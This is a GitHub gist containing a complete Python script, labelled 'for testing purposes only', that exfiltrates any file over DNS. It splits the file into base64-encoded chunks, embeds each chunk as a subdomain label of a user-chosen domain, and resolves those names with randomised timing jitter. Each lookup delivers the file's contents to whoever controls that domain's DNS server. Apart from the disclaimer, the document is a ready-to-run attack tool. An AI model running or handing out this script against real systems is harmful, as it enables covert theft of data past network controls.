Skip to content

Instantly share code, notes, and snippets.

@CodeCorrupt
Created February 27, 2026 16:53
Show Gist options
  • Select an option

  • Save CodeCorrupt/3148ac9ddafb1fe294cedd455da0ec19 to your computer and use it in GitHub Desktop.

Select an option

Save CodeCorrupt/3148ac9ddafb1fe294cedd455da0ec19 to your computer and use it in GitHub Desktop.
Tool to send data over DNS requests -- FOR TESTING PURPOSES ONLY
#!/usr/bin/env python3
import argparse
import base64
import logging
import random
import socket
import sys
import time
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s [%(levelname)s] %(message)s",
)
log = logging.getLogger(__name__)
SEGMENT_SIZE = 47
INTERVAL = 0.75
JITTER = 0.5
def segment(path: str) -> list[bytes]:
with open(path, "rb") as f:
data = f.read()
return [data[i : i + SEGMENT_SIZE] for i in range(0, len(data), SEGMENT_SIZE)]
def encode(part: bytes) -> str:
return base64.b64encode(part).decode("ascii").rstrip("=")
def lookup(name: str) -> str | None:
try:
result = socket.getaddrinfo(name, None)
return result[0][4][0]
except socket.gaierror as exc:
return f"NXDOMAIN ({exc})"
def run(src: str, host: str) -> None:
parts = segment(src)
log.info("Source: %s (%d bytes, %d parts)", src, sum(len(p) for p in parts), len(parts))
for i, part in enumerate(parts):
label = encode(part)
fqdn = label + "." + host
log.info("Part %d/%d name=%s", i + 1, len(parts), fqdn)
resp = lookup(fqdn)
log.info("Part %d/%d result=%s", i + 1, len(parts), resp)
if i < len(parts) - 1:
time.sleep(INTERVAL + random.uniform(0, JITTER))
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("file", help="Source path")
parser.add_argument("host", help="Target domain")
args = parser.parse_args()
try:
run(args.file, args.host)
except FileNotFoundError:
log.error("Not found: %s", args.file)
sys.exit(1)
except KeyboardInterrupt:
log.info("Stopped")
sys.exit(130)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment